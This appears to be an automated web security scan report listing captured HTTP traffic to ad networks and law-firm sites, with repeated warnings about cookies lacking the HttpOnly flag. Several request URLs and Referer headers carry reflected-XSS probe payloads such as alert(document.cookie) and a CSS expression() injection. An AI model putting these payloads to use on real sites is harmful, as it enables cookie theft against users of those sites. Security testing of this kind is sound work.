GET /r/dm/mkt/4/mpid//mpuid/4044268024581976328/nu/n/url/http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2800%3Fid%3D4044268024581976328 HTTP/1.1 Host: d.turn.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pf=TiY2Y7UsIzsDKs0LviDMrF7Y4FfMul_JqNyl-f7qrdKJwV9kSIzX4BtZ7vBDkFqi6PyIdXvx0rnLfhzRtOOBc34lLZyvKs0UYrWi2iSsDx48XfJgp4muYrbpVMBmU3OKo040jqkTNLCen_tUsnEbNt9he2SzgZbMiSxi7XoC0oAxENxfle1RGFCVxOmt4exBF6G3eK8GfPeHCjDxdpQTpQ; uid=3011330574290390485; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7Cundefined%7C10; rds=14987%7C14983%7C14983%7C14989%7Cundefined%7C14983%7C14983%7C14983%7C14983%7C14983%7C14987%7Cundefined%7C14983; rv=1
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Mon, 18-Jul-2011 15:27:27 GMT; Path=/ Location: http://tags.bluekai.com/site/2800?id=4044268024581976328 Content-Length: 0 Date: Wed, 19 Jan 2011 15:27:26 GMT
The following cookie was issued by the application and does not have the HttpOnly flag set:
FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,16,0;expires=Fri, 18 Feb 2011 18:07:18 GMT;path=/;domain=.zedo.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /OzoDB/cutils/R52_5/jsc/933/egc.js HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 6 Content-Type: application/x-javascript Set-Cookie: FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,16,0;expires=Fri, 18 Feb 2011 18:07:18 GMT;path=/;domain=.zedo.com; P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" X-Varnish: 2608430956 Cache-Control: max-age=2007212 Expires: Fri, 11 Feb 2011 23:40:50 GMT Date: Wed, 19 Jan 2011 18:07:18 GMT Connection: close
The following cookies were issued by the application and do not have the HttpOnly flag set:
FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bar/v16-401/d3/jsc/fm.js HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 911 Content-Type: application/x-javascript Set-Cookie: FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "81ee0daa-82a5-4989a5927aac0" X-Varnish: 2233582065 2233582057 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=285 Expires: Wed, 19 Jan 2011 18:11:59 GMT Date: Wed, 19 Jan 2011 18:07:14 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
The following cookies were issued by the application and do not have the HttpOnly flag set:
FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bar/v16-401/d3/jsc/fmr.js HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 912 Content-Type: application/x-javascript Set-Cookie: FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=284 Expires: Wed, 19 Jan 2011 18:11:59 GMT Date: Wed, 19 Jan 2011 18:07:15 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
The following cookies were issued by the application and do not have the HttpOnly flag set:
FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 15:50:43 GMT;path=/;domain=.zedo.com;
FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 15:50:43 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=301 Expires: Wed, 19 Jan 2011 15:55:44 GMT Date: Wed, 19 Jan 2011 15:50:43 GMT Connection: close Content-Length: 2277
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='';var zzCusto ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
FFgeo=5386156;expires=Thu, 19 Jan 2012 15:50:46 GMT;domain=.zedo.com;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
ZFFAbh=749B826,20|1483_749#365;expires=Thu, 19 Jan 2012 15:50:47 GMT;domain=.zedo.com;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dc/tgc-home.html HTTP/1.1 Host: divorcenet.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Wed, 19 Jan 2011 15:23:32 GMT Server: Apache/2.2.3 (CentOS) Location: http://www.divorcenet.com/dc/tgc-home.html Content-Length: 329 Content-Type: text/html; charset=iso-8859-1 Connection: close Set-Cookie: BIGipServerexperthub_POOL=1826951340.20480.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.divorcenet.c ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/psi/sites/www.csmonitor.com/p.json?callback=_ate.ad.hpr&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law&ref=http%3A%2F%2Fburp%2Fshow%2F25&jdg4df HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; di=%7B%7D..1295378586.60|1293848200.66; dt=X; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 179 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 19 Jan 2011 15:51:10 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 18 Feb 2011 15:51:10 GMT; Path=/ Set-Cookie: di=%7B%7D..1295452270.19F|1295378586.60|1293848200.66; Domain=.addthis.com; Expires=Fri, 18-Jan-2013 12:57:24 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 19 Jan 2011 15:51:10 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 19 Jan 2011 15:51:10 GMT Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
ar_uid=6cef434f6a14f23f4a7d7d829e5283021ed664d4; expires=Fri, 18 Feb 2011 15:23:44 GMT; path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /us/r5?q=washington+dc+law+firms&siteid=13747|13747|13747/x22 HTTP/1.1 Host: go.sp-ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Wed, 19 Jan 2011 15:23:44 GMT Location: http://www.ask.com/ar?l=sem&ifr=1&qsrc=999&q=washington%20dc%20law%20firms&siteid=13747%2Fx22&o=13747%2Fx22&ar_uid=6cef434f6a14f23f4a7d7d829e5283021ed664d4 Server: nginx/0.6.37 Set-Cookie: ar_uid=6cef434f6a14f23f4a7d7d829e5283021ed664d4; expires=Fri, 18 Feb 2011 15:23:44 GMT; path=/; Content-Length: 0 Connection: Close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /accounts/Logout HTTP/1.1 Host: google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=apphosting=oSnFu3lzSagigDFK8pk_9A; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /og-dogfood-issue HTTP/1.1 Host: goto.ext.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: https://goto.google.com/og-dogfood-issue Set-Cookie: S=apphosting=oSnFu3lzSagigDFK8pk_9A; path=/ Date: Wed, 19 Jan 2011 15:23:48 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: Google Frontend Content-Length: 0 Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=apphosting=aPojOBxIdiENdVWyJxlc-A; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /og-exp HTTP/1.1 Host: goto.ext.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: https://goto.google.com/og-exp Set-Cookie: S=apphosting=aPojOBxIdiENdVWyJxlc-A; path=/ Date: Wed, 19 Jan 2011 15:23:48 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: Google Frontend Content-Length: 0 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click?clid=78303b4&rand=1295459763736&sid= HTTP/1.1 Host: guru.sitescout.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT SAdBuild: 400 P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" Set-Cookie: sadscpax=78303b4-; Domain=guru.sitescout.com; Expires=Thu, 20-Jan-2011 18:33:58 GMT; Path=/ Location: http://fdxnews.org/?t202id=300079&t202kw=160x600&match=Wrinkles2 Content-Length: 0 Date: Wed, 19 Jan 2011 18:09:57 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /files/Uploads/Images/Lock%20Image%20square.JPG HTTP/1.1 Host: hoganlovellswc.staged.hubbardone.com Proxy-Connection: keep-alive Referer: http://www.hoganlovells.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /e/t3.dll?280&966503092&http%3A%2F%2Fburp%2Fshow%2F33%20&qcat%3DWeb%26vendor%3Dinfousflag%26skw%3Dwashington%2Bdc%2Blaw%2Bfirms2ee2d%253cscript%253ealert%2528document%2Ecookie%2529%253c%252fscript%253e72356283334%20&iREGQry%20&iSale%20&1&1920&1200&16&1&13&en-US%20&360&http%3A%2F%2Fwww%2Einfo%2Ecom%2Fwashington%2520dc%2520law%2520firms2ee2d%25253cscript%25253ealert%252528document%2Ecookie%252529%25253c%25252fscript%25253e72356283334%20&0 HTTP/1.1 Host: info.intelli-direct.com Proxy-Connection: keep-alive Referer: http://www.info.com/washington%20dc%20law%20firms2ee2d%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e72356283334 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 43 Content-Type: image/gif Expires: -1 Accept-Ranges: bytes Server: Microsoft-IIS/7.0 X-Aspnet-Version: 2.0.50727 Set-Cookie: vidi=d40cfe25325f4a8a957ea21bb48f9d5c; domain=intelli-direct.com; expires=Sun, 31-May-2037 23:00:00 GMT; path=/ P3p: policyref="/w3c/p3p.xml",CP="NOI DSP COR DEV PSA OUR IND UNI NAV INT STA COM NID" Date: Wed, 19 Jan 2011 16:51:24 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: jonesdaydiversity.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /404.aspx HTTP/1.1 Host: jonesdaydiversity.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=21182496.1295451935.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; DefaultCulture=en-US; NSC_MC_KpoftEbz_b37b38_IUUQ=ffffffff09d5f63f45525d5f4f58455e445a4a423660; __utma=21182496.1025166527.1295451935.1295451935.1295451935.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; __utmc=21182496; __utmb=21182496.2.10.1295451935; ASP.NET_SessionId=frpmkd55p5dmxt55rnepogqw; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1036&RootPortletID=616&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=FCW; SiteId=0;
The following cookie was issued by the application and does not have the HttpOnly flag set:
DefaultCulture=en-US; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /newsknowledge/newsdetail.aspx HTTP/1.1 Host: jonesdayv2wc.staged.hubbardone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 400 Bad Request Content-Type: text/html Date: Wed, 19 Jan 2011 16:58:30 GMT Connection: close Content-Length: 39 Set-Cookie: NSC_MC_KpoftEbzTubhfe_b37b38_IUUQ=ffffffff09d5f63f45525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gateway/gw.js?csid=K08784&auto=t HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; udm_0=MLvv8iMJPj5n556Bo8jwxg27aVMsKvlZeh88v6LFxvi6NShB6ZO83AmHuP4JgK9bvgpJZgsqUaP2xfTnxNPh9+fmSEPkCVwJX705HIrDAdU6h9yhStmEjquZrguVeF3r0KH2OzLBVWAxUkwC4gAcARichgtw510EVacnhilf+8mRFAtdqKZBM6NUyjil0ZdVPRDqI+Ti+FIe6fewtlE9GinOst7C+rlOGLcLpjRwr3ZfMSayOJgkjwJdHiBSJ9kAcsoTnnNvaA7Xcb0oB88geiObO0gCWiOMGKuhN5NhpXa5wNJrUpjtCGmrVtVPNsrxL9ryWzajTucvw6SIgD8tYcWt49xZgaknzfQMm4nMuUr+qb1f+Ms3ek2Rc8bT/TWEYTevTxXB1YSJNhNpyO+5lLFTcDcxf+duWIK8eU0eIZAncGmWmIMN2HAprOXDL92vjPG5GfbTEfgpUERmJC38xypT/U/eZtb2YBNcle27OeZkVpQY88kycEdRsS0Ks4HLd9MJ6YiDUxLI3FUlyF0iCBOApuRiSn2zDur8XA1O6kZwXMP/vqnO/qlcm8YSMQteDyI8xTLOkrtw5XuzDTiehCDdIT5AUFXEVikG1xbWOf61/rLXUN710OVSlXuiKpp7slVOdtdIlvK5Ef2r/dR4A+dOCYr8QFU/PgPleGbyIL5+FSmkfzlkK9kpSlXIgokpHC3DmN7FSnZ4W681z5mM3+bkQyAQa1deCg6dY3j8xQBsPgkVRyyliBZ/BT5AfFB6Kt2bfoD+HZA9FOS08BLyiny5VyDBbEms9liC5Fs3TFj1lR+RyszTbus6ezqbVXF77t83kYCDwMJ+4srH8tO8ZoaqbVgfKSopwI144BcK1RceyhLfvKeO2mls6933wcTzEXOpWYxsjrgl5Q==; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==
//Vermont-12.4.0-1012 var rsi_now= new Date(); var rsi_csid= 'K08784';if(typeof(csids)=="undefined"){var csids=[rsi_csid];}else{csids.push(rsi_csid);};function rsiClient(Da){this._rsiaa=Da;this._rsiba ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=i-15e5bf7e; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2010/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
